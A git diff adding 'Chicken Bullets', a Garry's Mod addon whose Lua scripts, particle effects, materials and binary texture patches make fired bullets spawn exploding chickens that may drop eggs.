index 0000000..661e958 --- /dev/null +++ b/Repos/Chicken_Bullets-master/addon.txt @@ -0,0 +1,10 @@ +"AddonInfo" +{ + "name" "Chicken Bullets" + "version" "1.0" + "up_date" "23.08.14" + "author_name" "Teta_Bonita + HeX" + "author_email" "" + "author_url" "" + "info" "Oh cluck" +} \ No newline at end of file diff --git a/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua b/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua new file mode 100644 index 0000000..8771efd --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua @@ -0,0 +1,19 @@ + + +local RED = Color(255,80,0,255) + +killicon.Add("chicken_bullet", "killicons/chicken_bullet", RED) + +language.Add("chicken_bullet", "Chicken") + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua b/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua new file mode 100644 index 0000000..5e9bf33 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua @@ -0,0 +1,136 @@ + +AddCSLuaFile("autorun/client/cl_ChickenBullets.lua") + +local Enabled = CreateConVar("chicken_bullet_enabled", 1) +local Velocity = CreateConVar("chicken_bullet_speed", 100) +local Multi = CreateConVar("chicken_bullet_multi", 2) +local Eggs = CreateConVar("chicken_bullet_eggs", 1) + +local sndTabAttack = { + Sound("chicken/attack1.wav"), + Sound("chicken/attack2.wav"), +} + + +--bullet.Damage is 0 for HL2 guns, dumbass garry! +local HL2Guns = { + ["weapon_ar2"] = "sk_plr_dmg_ar2", + ["weapon_smg1"] = "sk_plr_dmg_smg1", + ["weapon_shotgun"] = "sk_plr_dmg_buckshot", + ["weapon_pistol"] = "sk_plr_dmg_pistol", + ["weapon_357"] = "sk_plr_dmg_357", +} + +local function FireChickenBullet(self,Bul) + if not IsValid(self) or not Enabled:GetBool() then return end + + //Was a chicken bullet + if self.CanFireChickenBullet then + //Fix HL2 gun damage + local Owner = Bul.Attacker + if Owner and Owner.GetActiveWeapon then --Is a player shooting these + local Wep = Owner:GetActiveWeapon() + + if IsValid(Wep) then + local New = HL2Guns[ Wep:GetClass() ] + + if New then + Bul.Damage = GetConVarNumber(New) * Multi:GetFloat() + end + end + end + + self.CanFireChickenBullet = false --Don't trigger more chickens + return true --Override this bullet + end + + + for i=1, Bul.Num do + self:EmitSound("chicken/chicken_tube.mp3") + self:EmitSound( table.Random(sndTabAttack) ) + + local x = Bul.Spread.x + local y = Bul.Spread.y + local Ang = Bul.Dir + Vector(0, math.Rand(-x, x), math.Rand(-y, y) ) + + local Hen = ents.Create("chicken_bullet") + Hen:SetModel("models/lduke/chicken/chicken3.mdl") + Hen:SetPos(Bul.Src) + Hen:SetAngles( Ang:Angle() ) + Hen:SetOwner(self) + Hen:SetPhysicsAttacker(self) + Hen.Owner = self + Hen:Spawn() + Hen.Eggs = Eggs:GetBool() + Hen.Bullet = Bul + + if not IsValid(Hen) then return end + local Phys = Hen.PhysObj + if IsValid(Phys) then + Phys:SetVelocity( Hen:GetForward() * (Bul.Force + Velocity:GetInt() ) ) + end + end + + return false --No bullet +end + +hook.Add("EntityFireBullets", "FireChickenBullet", FireChickenBullet) + + + +--- Resources --- +resource.AddFile("materials/particles/feather.vtf") --Particle +resource.AddFile("materials/particles/feather.vmt") + +resource.AddFile("materials/killicons/chicken_bullet.vtf") --Killicon +resource.AddFile("materials/killicons/chicken_bullet.vmt") + +resource.AddFile("materials/models/lduke/chicken/chicken2.vtf") --Materials +resource.AddFile("materials/models/lduke/chicken/chicken2.vmt") + +resource.AddFile("models/lduke/chicken/chicken3.mdl") --Models +resource.AddFile("models/lduke/chicken/chicken3.phy") +resource.AddFile("models/lduke/chicken/chicken3.dx80.vtx") +resource.AddFile("models/lduke/chicken/chicken3.dx90.vtx") +resource.AddFile("models/lduke/chicken/chicken3.sw.vtx") +resource.AddFile("models/lduke/chicken/chicken3.vvd") + +resource.AddFile("sound/chicken/alert.wav") --Sounds +resource.AddFile("sound/chicken/attack1.wav") +resource.AddFile("sound/chicken/attack2.wav") +resource.AddFile("sound/chicken/death.wav") +resource.AddFile("sound/chicken/idle1.wav") +resource.AddFile("sound/chicken/idle2.wav") +resource.AddFile("sound/chicken/idle3.wav") +resource.AddFile("sound/chicken/pain1.wav") +resource.AddFile("sound/chicken/pain2.wav") +resource.AddFile("sound/chicken/pain3.wav") +resource.AddFile("sound/chicken/chicken_tube.mp3") + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua b/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua new file mode 100644 index 0000000..118146d --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua @@ -0,0 +1,81 @@ +-- Chicken explosion effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + --Pos.z = Pos.z + 10 + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding blood puff facing the player + local particle = emitter2D:Add( "effects/blood_core", Pos ) + particle:SetDieTime( math.Rand( 0.5, 0.6 ) ) + particle:SetStartSize( 25 ) + particle:SetEndSize( math.Rand( 60, 80 ) ) + particle:SetStartAlpha( math.Rand( 200, 230 ) ) + particle:SetColor( 220, 20, 30 ) + + -- Shoot blood drops + for i = 1,8 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + + local particle = emitter2D:Add( "effects/blood2", Pos + norm * 5 ) + particle:SetDieTime( math.Rand( 0.8, 1 ) ) + particle:SetVelocity( norm * math.Rand( 150, 200 ) ) + particle:SetAirResistance( 80 ) + particle:SetGravity( Vector( 0, 0, -400 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.7 ) + particle:SetStartSize( 1 ) + particle:SetEndSize( 2 ) + particle:SetStartLength( math.Rand( 8, 14 ) ) + particle:SetEndLength( math.Rand( 12, 18 ) ) + particle:SetStartAlpha( math.Rand( 200, 230 ) ) + particle:SetColor( 220, 20, 30 ) + + end + + -- Emit feathers + for i = 1,32 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + local size = math.Rand( 3, 5 ) + + local particle = emitter3D:Add( "particles/feather", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 3.5, 4.5 ) ) + particle:SetVelocity( norm * math.Rand( 250, 500 ) ) + particle:SetAirResistance( 350 ) + particle:SetGravity( Vector( math.Rand( -25, 25 ), math.Rand( -25, 25 ), -300 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.1 ) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity( AngleRand() * 150 ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 255, 255 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + + +end + diff --git a/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua b/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua new file mode 100644 index 0000000..26adec4 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua @@ -0,0 +1,59 @@ +-- Chicken pain effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding blood puff facing the player + local particle = emitter2D:Add( "effects/blood2", Pos ) + particle:SetDieTime( math.Rand( 0.2, 0.4 ) ) + particle:SetStartSize( 3 ) + particle:SetEndSize( math.Rand( 8, 12 ) ) + particle:SetStartAlpha( 255 ) + particle:SetColor( 220, 20, 30 ) + + -- Emit feathers + for i = 1,32 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + local size = math.Rand( 3, 5 ) + + local particle = emitter3D:Add( "particles/feather", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 2, 2.5 ) ) + particle:SetVelocity( norm * math.Rand( 150, 300 ) ) + particle:SetAirResistance( 400 ) + particle:SetGravity( Vector( math.Rand( -25, 25 ), math.Rand( -25, 25 ), -300 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.1 ) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity( AngleRand() * 150 ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 255, 255 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + + +end + diff --git a/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua b/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua new file mode 100644 index 0000000..88fcd92 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua @@ -0,0 +1,59 @@ +-- Egg break effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + local Norm = data:GetNormal() + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding smoke puff facing the player + local particle = emitter2D:Add( "particle/particle_smokegrenade", Pos ) + particle:SetDieTime( math.Rand( 0.3, 0.4 ) ) + particle:SetStartSize( 10 ) + particle:SetEndSize( math.Rand( 30, 40 ) ) + particle:SetStartAlpha( 255 ) + particle:SetColor( 200, 200, 200 ) + + -- Emit egg (balloon) bits + for i = 1,32 do + + local norm = Norm + VectorRand() + norm:Normalize() + local size = math.Rand( 1, 2.5 ) + + local particle = emitter3D:Add( "particles/balloon_bit", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 2.5, 3.5 ) ) + particle:SetVelocity( norm * math.Rand( 150, 450 ) ) + particle:SetAirResistance( 80 ) + particle:SetGravity( Vector( 0, 0, -400 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.8 ) + particle:SetAngles( norm:Angle() ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 242, 236 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + +end + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua new file mode 100644 index 0000000..8dffbcd --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua @@ -0,0 +1,56 @@ + + +include("shared.lua") + + +local MIN_EMIT_SPEED = 1 + +function ENT:Initialize() + self.Emitter = ParticleEmitter( self:GetPos(), true ) + self.NextEmit = CurTime() +end + +function ENT:Draw() + self:DrawModel() + + -- Emit feathers + local speed = self:GetVelocity():Length() + if speed <= MIN_EMIT_SPEED then return end + + + -- The emission rate is based on how fast we are going + if not self.Emitter or self.NextEmit > CurTime() then return end + self.NextEmit = CurTime() + 0.05 + + + local mypos = self:GetPos() + mypos.z = mypos.z + 10 + + self.Emitter:SetPos( mypos ) + + local size = math.Rand(3,5) + + + local particle = self.Emitter:Add("particles/feather", mypos) + particle:SetDieTime( math.Rand(2,3) ) + particle:SetVelocity(VectorRand() * 15) + particle:SetAirResistance(400) + particle:SetGravity( Vector( math.Rand(-25,25), math.Rand(-25,25), -300) ) + particle:SetCollide(true) + particle:SetBounce(0.1) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity(AngleRand() * 150) + particle:SetStartAlpha(255) + particle:SetStartSize(size) + particle:SetEndSize(size) + particle:SetColor(255,255,255) +end + + +function ENT:OnRemove() + if self.Emitter then self.Emitter:Finish() end +end + + + + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua new file mode 100644 index 0000000..2254ff5 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua @@ -0,0 +1,244 @@ + +AddCSLuaFile("cl_init.lua") +AddCSLuaFile("shared.lua") +include("shared.lua") + + +local sndTabPain = { + Sound("chicken/pain1.wav"), + Sound("chicken/pain2.wav"), + Sound("chicken/pain3.wav"), +} + + +local sndTabIdle = { + Sound("chicken/idle1.wav"), + Sound("chicken/idle2.wav"), + Sound("chicken/idle3.wav"), +} + + +function ENT:Initialize() + self:SetModel("models/lduke/chicken/chicken3.mdl") + + self:PhysicsInit(SOLID_VPHYSICS) + self:SetMoveType(MOVETYPE_VPHYSICS) + self:SetSolid(SOLID_VPHYSICS) + + self:SetGravity(0.005) + + self.PhysObj = self:GetPhysicsObject() + if self.PhysObj:IsValid() then + self.PhysObj:SetMass(1) + self.PhysObj:SetDamping(0,0) + self.PhysObj:Wake() + self.PhysObj:EnableGravity(true) + end + + self.IsChicken = true + self.ChickenHealth = 10 + self.NextEmitIdle = self.NextEmitIdle or CurTime() + + timer.Simple(10, function() + if self and self.Detonate then + self:Detonate() + end + end) +end + + + +function ENT:Detonate() + if not IsValid(self) then return end + self.ChickenHealth = 100 + + local effect = EffectData() + effect:SetOrigin( self:GetPos() ) + util.Effect("chicken_death", effect) + + --[[local boom = ents.Create("env_explosion") + boom:SetPos( self:GetPos() ) + boom:SetOwner( self.Owner ) + boom:Spawn() + boom:SetKeyValue("iMagnitude", "0") + boom:Fire("Explode",0,0)]] + + self:EmitSound( Sound("chicken/death.wav") ) + + //Random chance of egg! + if self.Eggs and math.random(0,1) == 1 then + local Nade = ents.Create("prop_physics") + Nade:SetModel("models/props_phx/misc/egg.mdl") + local Pos = self:GetPos() + Pos.z = Pos.z - 4 + + Nade.IsChicken = true + Nade:SetPos(Pos) + Nade:SetAngles( self:GetAngles() ) + Nade:SetMaterial("models/shiny") + Nade:SetHealth(200) + + if IsValid(self.Owner) then + Nade:SetOwner(self.Owner) + Nade.Owner = self.Owner + Nade:SetPhysicsAttacker(self.Owner) + end + Nade:Spawn() + + //Break + Nade:CallOnRemove("EggBreak", function() + if not IsValid(Nade) then return end + + Nade:EmitSound("phx/eggcrack.wav", 500, math.random(100,150) ) + + local effect = EffectData() + effect:SetOrigin( Nade:GetPos() ) + effect:SetNormal( Vector(0,0,1) ) + util.Effect("egg_break", effect) + end) + + //Remove egg if not broken + timer.Simple(10, function() + if IsValid(Nade) then + Nade:Remove() + end + end) + + //Cluck! + self:EmitSound( Sound("chicken/alert.wav") ) + end + + self:StopSounds() + self:Remove() +end + + +function ENT:PhysicsCollide(data,physobj) + if not IsValid(self) then return end + if IsValid(data.HitEntity) and data.HitEntity.IsChicken then return end + if not self.Bullet then return end + + local Owner = self.Owner + self:Detonate() + + if IsValid(Owner) then + local Bul = { + Src = self:GetPos(), + Dir = self:GetForward(), + Damage = self.Bullet.Damage, + Force = self.Bullet.Force, + Callback = self.Bullet.Callback, + Spread = 0, + Num = 1, + Tracer = 0, + TracerName = "Pistol", + } + + self:Remove() + Owner.CanFireChickenBullet = true + Owner:FireBullets(Bul) + return + end + + self:Remove() +end + + + +function ENT:OnTakeDamage(info) + self.IsTakingDamage = true + timer.Create(tostring(self), 0.56, 1, function() + if IsValid(self) then + self.IsTakingDamage = false + end + end) + + self.ChickenHealth = self.ChickenHealth - info:GetDamage() + + + local dmgpos = info:GetDamagePosition() + + if dmgpos == Vector(0,0,0) then + dmgpos = self:GetPos() + dmgpos.z = dmgpos.z + 10 + end + local effect = EffectData() + effect:SetOrigin(dmgpos) + util.Effect("chicken_pain", effect) + + self:EmitSound( table.Random(sndTabPain) ) + + + if self.ChickenHealth > 0 then return end --Still has health + self.ChickenHealth = 100 + + + if IsValid(self.PhysObj) then + self.PhysObj:SetMass(1400) + self.PhysObj:EnableGravity(true) + + local OldVel = self.PhysObj:GetVelocity() + self.PhysObj:AddVelocity(OldVel / 2) + self.PhysObj:SetVelocity(OldVel / 2) + end + + self:TakePhysicsDamage(info) +end + + + +function ENT:Think() + if not IsValid(self) then return end + if self:WaterLevel() > 0 and not self.WaterExploding then + self.WaterExploding = true + + timer.Simple(0.7, function() + if IsValid(self) then + self:Detonate() + end + end) + + return + end + + + if CurTime() > self.NextEmitIdle then + self.NextEmitIdle = CurTime() + 1 + + if not self.IsTakingDamage then + self:EmitSound(table.Random(sndTabIdle), 120, 100) + end + end +end + + +function ENT:OnRemove() + if not IsValid(self) then return end + self:StopSounds() +end + + +function ENT:StopSounds() + for k,v in pairs(sndTabIdle) do + self:StopSound(v) + end + + self:EmitSound( Sound("ambient/_period.wav") ) +end + + + + + + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua new file mode 100644 index 0000000..6f5f7e9 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua @@ -0,0 +1,9 @@ + + +ENT.Type = "anim" +ENT.PrintName = "Chicken Bullet" +ENT.Author = "Teta_Bonita + HeX" + +ENT.Spawnable = false +ENT.AdminSpawnable = false + diff --git a/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt new file mode 100644 index 0000000..e657c74 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/chicken_bullet" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf new file mode 100644 index 0000000000000000000000000000000000000000..dfb561ac92dccf8961c9cfb3d329fbb5f3dcb5b5 GIT binary patch literal 5696 zcmeHLU2GIp6h1RurK{aA86O(J#xYqX8k-<7SfbS_F*>U+H5vnHP-s;Q=~`a!!3ML| zh!U)>lMp4*=pzqC1H=oWAkGl61OgZ$!#6X%KXd!D*=!L=XuIA0 zdj8M(?zxjb^Yo)MkBCgXy76-HO%9QP&+%8`VIuyD{^HKZ+q?{ZS(a3bmFeQS%DDhv zSL%Ji!Z?v2z8IH)U)`NBTC^>yU0=ub|Z>({FPT9doKvh`!fpA`Mf zRCli4xPRdHnd<#yESzuOA};?T0Nyp>a7;fCt$FprGLA?7W}QB3U&`@lm3^F2`g_Nz zy~E{gvfoQfXW!rFuMzX=7=iM8n*={zt27VvcmqQIL8a7R-r6qkFN9$lJH$Nod8~Yi zch5lF-{y`C*U&ql`PJa9DguotozRHg(%Yf7m-=^|IKQd9u1}md zJ-&Mo@t5@;}1RM+>a{A@jNyswoF408MB$J+ZBv(=(s zs4vlPcXV$X?8mwOeI9$c@=cqlSC3Z<-|z&R=(za8ZQLJyb^i1p-TxRIk5t)kR+%@A z3@(xT37;A~Ul(YVHNIt=n0JRZuSWe}w-2Yq?-P7za9-E#qjrk>>~i-bpqx!zwm2Wa zX12>t@$(6c{btJjeT~mIAj3j^O1-Y_q~-k{P`aq&RNA^?^~e49^?3+>OwOkcZ1|Kb z2z{Mjkw4cL@_<|u{ct!Rbp2Ww{)#F5aC=}gixdsFlUU1$81fXwEA_qJ8M3Ae)VG16Z#kZuVo+WtMf{e zgGU@WujKQN?hp267*gtExJhi1HzefK*!$Q=j$&^*ioLF13nL$G9tb{r{9+0#fXA=p zUzbPyQ}`HRjGX(!d9odn`y`gD{Yr!XvOnSZQ~9UItA!)~iSrlMFXQR<*nhU8>_=VR zD29LENlSj|{=)u*D?|1Re3~WSsrE^}NA)QEoL*mz2jx2AP4!0wbzal$15Hl2j|AUP zKlX*359T+NP4EXo&z^DrK_C2)_EYnl(jUv2r9Zm;T;q@r;Sp8l9o8rM(P+Gw|CZ7( zT;>hTcW&~L_i3D;+|TGo5&vIO`r%=ps`+DnIv;XF x{wd{t4XA5KJumgfyV~@_d24(RpLdk{K~ClTUv2r%bv}3=Pu$OQ?f?JwcL_;D-HQMK literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt new file mode 100644 index 0000000..6def4c7 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt @@ -0,0 +1,5 @@ +"VertexLitGeneric" +{ + "$baseTexture" "models/lduke/chicken/chicken2" + "$model" 1 +} diff --git a/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf new file mode 100644 index 0000000000000000000000000000000000000000..d4a7e5347d60bc2a5ec6999dab618762938db7cb GIT binary patch literal 174968 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 